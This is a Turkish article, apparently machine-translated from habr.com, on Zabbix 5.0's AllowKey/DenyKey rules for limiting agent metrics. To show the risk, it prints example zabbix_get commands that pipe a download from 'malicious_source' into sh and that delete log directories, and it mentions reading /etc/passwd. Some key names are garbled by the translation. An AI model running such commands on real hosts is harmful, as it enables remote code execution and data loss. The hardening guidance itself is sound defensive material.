Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Tikhon Uskov, Entegrasyon Mühendisi, Zabbix

Veri güvenliği sorunları

Zabbix 5.0, Zabbix Agent kullanan sistemlerde güvenliği artırmanıza olanak tanıyan ve eski parametrenin yerini alan yeni bir özelliğe sahiptir. Uzaktan Komutları Etkinleştir.

Ajan tabanlı sistemlerin güvenliğindeki gelişmeler, bir ajanın çok sayıda potansiyel olarak tehlikeli eylem gerçekleştirebilmesinden kaynaklanmaktadır.

  • Aracı, gizli veya potansiyel olarak tehlikeli bilgiler de dahil olmak üzere yapılandırma dosyalarından, günlük dosyalarından, parola dosyalarından veya diğer dosyalardan hemen hemen her türlü bilgiyi toplayabilir.

Örneğin, zabbix_get yardımcı programını kullanarak kullanıcıların bir listesine, onların ana dizinlerine, şifre dosyalarına vb. erişebilirsiniz.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Zabbix_get yardımcı programını kullanarak verilere erişme

NOT. Veriler yalnızca aracının ilgili dosyada okuma izinleri varsa alınabilir. Ancak örneğin dosya /etc/passwd/ tüm kullanıcılar tarafından okunabilir.

  • Aracı ayrıca potansiyel olarak tehlikeli komutları da yürütebilir. Örneğin, * tuşusistem.çalıştır[]**, aracı tarafında da komutları yürüten Zabbix web arayüzünden komut dosyaları çalıştırmak da dahil olmak üzere, ağ düğümlerinde her türlü uzak komutu yürütmenize olanak tanır.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Aracı, Linux'ta varsayılan olarak kök ayrıcalıkları olmadan çalışır, Windows'ta ise Sistem olarak bir hizmet olarak çalışır ve dosya sistemine sınırsız erişime sahiptir. Buna göre kurulum sonrasında Zabbix Agent parametrelerinde herhangi bir değişiklik yapılmaması halinde, aracının kayıt defterine, dosya sistemine erişimi olur ve WMI sorgularını çalıştırabilir.

Önceki versiyonlarda parametre EnableRemoteCommands=0 yalnızca anahtarla metriklerin devre dışı bırakılmasına izin verilir *sistem.çalıştır[]** ve komut dosyalarını web arayüzünden çalıştırma, ancak bireysel dosyalara erişimi kısıtlamanın, aracıyla birlikte yüklenen bireysel anahtarlara izin vermenin veya devre dışı bırakmanın veya bireysel parametrelerin kullanımını sınırlamanın bir yolu yoktu.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Zabbix'in önceki sürümlerinde EnableRemoteCommand parametresini kullanma

İzin Verme Anahtarı/Reddetme Anahtarı

Zabbix 5.0, temsilci tarafında metriklere izin vermek ve reddetmek için beyaz listeler ve kara listeler sağlayarak bu tür yetkisiz erişime karşı korumaya yardımcı olur.

Zabbix 5.0'da * dahil tüm tuşlarsistem.çalıştır[]** etkinleştirildi ve iki yeni aracı yapılandırma seçeneği eklendi:

İzin Verme Anahtarı= — izin verilen kontroller;

DenyKey= — yasaklanmış kontroller;

meta karakterleri (*) kullanan parametrelere sahip bir anahtar adı modeli nerede?

AllowKey ve DenyKey tuşları, belirli bir kalıba dayalı olarak bireysel metriklere izin vermenize veya bunları reddetmenize olanak tanır. Diğer yapılandırma parametrelerinin aksine AllowKey/DenyKey parametrelerinin sayısı sınırlı değildir. Bu, yazılma sırasının çok önemli bir rol oynadığı bir kontrol ağacı - yürütülebilir anahtarlar oluşturarak aracının sistemde tam olarak ne yapabileceğini açıkça tanımlamanıza olanak tanır.

Kural sırası

Kurallar, yapılandırma dosyasına girilme sırasına göre kontrol edilir. Anahtar, ilk eşleşmeden önce kurallara göre kontrol edilir ve veri öğesinin anahtarı kalıpla eşleştiği anda izin verilir veya reddedilir. Bundan sonra kural kontrolü durdurulur ve geri kalan tuşlar göz ardı edilir.

Bu nedenle, bir öğe hem izin verme hem de reddetme kuralıyla eşleşiyorsa sonuç, yapılandırma dosyasında hangi kuralın ilk olduğuna bağlı olacaktır.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Aynı desen ve bir tuşa sahip 2 farklı kural vfs.file.size[/tmp/file]

AllowKey/DenyKey tuşlarını kullanma sırası:

  1. kesin kurallar,
  2. Genel kurallar,
  3. yasaklayıcı kural.

Örneğin, belirli bir klasördeki dosyalara erişmeniz gerekiyorsa, önce bunlara erişime izin vermeniz, ardından belirlenen izinlerin kapsamına girmeyen her şeyi reddetmeniz gerekir. İlk önce reddetme kuralı kullanılırsa klasöre erişim reddedilir.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Doğru sıra

2 yardımcı programın * aracılığıyla çalıştırılmasına izin vermeniz gerekiyorsasistem.çalıştır[]** ve ilk olarak reddetme kuralı belirtilecek, yardımcı programlar başlatılmayacak çünkü ilk kalıp her zaman herhangi bir anahtarla eşleşecek ve sonraki kurallar göz ardı edilecek.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Yanlış sıralama

desenler

Temel kurallar

Desen, joker karakterler içeren bir ifadedir. Meta karakter (*), belirli bir konumdaki herhangi bir sayıda karakterle eşleşir. Meta karakterler hem anahtar adında hem de parametrelerde kullanılabilir. Örneğin, ilk parametreyi kesin olarak metinle tanımlayabilirsiniz, ve sonrakini joker karakter olarak belirtin.

Parametreler köşeli parantez [] içine alınmalıdır.

  • system.run[* - yanlış
  • vfs.file*.txt] - yanlış
  • vfs.file.*[*] - Sağ

Joker karakter kullanımına örnekler.

  1. Anahtar adında ve parametrede. Bu durumda anahtar, parametre içermeyen benzer bir anahtara karşılık gelmez, çünkü kalıpta anahtar adının belirli bir sonunu ve belirli bir parametre kümesini almak istediğimizi belirttik.
  2. Desen köşeli parantez kullanmıyorsa, kalıp parametre içermeyen tüm anahtarlara izin verir ve belirtilen parametreyi içeren tüm anahtarları reddeder.
  3. Anahtar tam olarak yazılırsa ve parametreler joker olarak belirtilirse, herhangi bir benzer anahtarla herhangi bir parametreyle eşleşecek ve köşeli parantez olmayan anahtarla eşleşmeyecektir, yani izin verilecek veya reddedilecektir.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Parametreleri doldurma kuralları.

  • Parametreli bir anahtarın kullanılması amaçlanıyorsa, parametrelerin konfigürasyon dosyasında belirtilmesi gerekir. Parametreler meta karakter olarak belirtilmelidir. Herhangi bir dosyaya erişimi dikkatlice reddetmek ve metriğin farklı yazımlar altında (parametreli ve parametresiz) hangi bilgileri sağlayabileceğini hesaba katmak gerekir.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Parametreli tuş yazma özellikleri

  • Bir anahtar parametrelerle belirtilirse ancak parametreler isteğe bağlıysa ve meta karakter olarak belirtilirse, parametresiz bir anahtar çözümlenir. Örneğin CPU üzerindeki yüke ilişkin bilgi almayı devre dışı bırakmak istiyorsanız ve system.cpu.load[*] anahtarının devre dışı bırakılması gerektiğini belirtirseniz parametresiz anahtarın ortalama yük değerini döndüreceğini unutmayın.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Parametreleri doldurma kuralları

Notlar

Ayar

  • Keşif kuralları veya aracı otomatik kayıt kuralları gibi bazı kurallar kullanıcı tarafından değiştirilemez. AllowKey/DenyKey kuralları aşağıdaki parametreleri etkilemez:
    - Ana Bilgisayar Adı Öğesi
    - HostMetadataItem
    - HostInterfaceItem

NOT. Yönetici bir anahtarı devre dışı bırakırsa sorgulandığında Zabbix, metriğin veya anahtarın neden ' kategorisine düştüğüne ilişkin bilgi sağlamazDESTEKLENMİYOR'. Uzaktan komutların yürütülmesine ilişkin yasaklara ilişkin bilgiler de aracı günlük dosyalarında görüntülenmez. Bunun nedeni güvenliktir ancak metrikler herhangi bir nedenle desteklenmeyen bir kategoriye girerse hata ayıklamayı karmaşık hale getirebilir.

  • Harici yapılandırma dosyalarını bağlarken belirli bir sıraya (örneğin alfabetik sıraya) güvenmemelisiniz.

Komut satırı yardımcı programları

Kuralları belirledikten sonra her şeyin doğru şekilde yapılandırıldığından emin olmanız gerekir.

Üç seçenekten birini kullanabilirsiniz:

  • Zabbix'e bir metrik ekleyin.
  • Şununla test edin: zabbix_agentd. Seçenekli Zabbix ajanı -baskı (-p) yapılandırmanın izin vermediği anahtarlar dışındaki tüm anahtarları (varsayılan olarak izin verilenler) gösterir. Ve seçeneği ile -test (-t) çünkü yasak bir anahtar geri dönecek'Desteklenmeyen öğe anahtarı'.
  • Şununla test edin: zabbix_get. Yarar zabbix_get seçeneği ile -k dönecek 'ZBX_NOTSUPPORTED: Bilinmeyen ölçüm'.

İzin ver veya reddet

Bir dosyaya erişimi reddedebilir ve örneğin yardımcı programı kullanarak doğrulama yapabilirsiniz. zabbix_getdosyaya erişim reddedildi.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

**

NOT. Parametredeki tırnak işaretleri dikkate alınmaz.

Bu durumda böyle bir dosyaya erişime farklı bir yoldan izin verilebilir. Örneğin, bir sembolik bağlantı ona yol açıyorsa.

Zabbix 5.0'da aracı tarafı ölçümleri için kara liste ve beyaz liste desteği

Belirtilen kuralların uygulanmasına yönelik çeşitli seçeneklerin kontrol edilmesi ve ayrıca yasakların aşılması olasılıklarının dikkate alınması önerilir.

Sorular ve Cevaplar

Soru. Neden kuralları, izinleri ve yasakları anlatmak için kendi dili olan bu kadar karmaşık bir kalıp seçildi? Örneğin Zabbix'in kullandığı düzenli ifadeleri kullanmak neden mümkün olmadı?

Cevap. Genellikle tek bir aracı olduğundan ve çok sayıda ölçümü kontrol ettiğinden bu bir normal ifade performans sorunudur. Regex oldukça ağır bir işlemdir ve binlerce ölçümü bu şekilde kontrol edemeyiz. Joker karakterler - evrensel, yaygın olarak kullanılan ve basit bir çözüm.

Soru. Dahil edilen dosyalar alfabetik sıraya göre eklenmemiş mi?

Cevap. Bildiğim kadarıyla kuralları farklı dosyalara yaymanız durumunda kuralların uygulanacağı sırayı tahmin etmek neredeyse imkansızdır. Tüm AllowKey/DenyKey kurallarının bir Include dosyasında toplanmasını öneririm çünkü bunlar birbirleriyle etkileşim halindedir ve bu dosyayı da dahil ederler.

Soru. Zabbix 5.0'da ' seçeneğiEnableRemoteCommands=' yapılandırma dosyasında eksik ve yalnızca AllowKey/DenyKey mevcut mu?

Cevap. Evet bu doğru.

Teşekkürler!

Kaynak: habr.com

Yorum ekle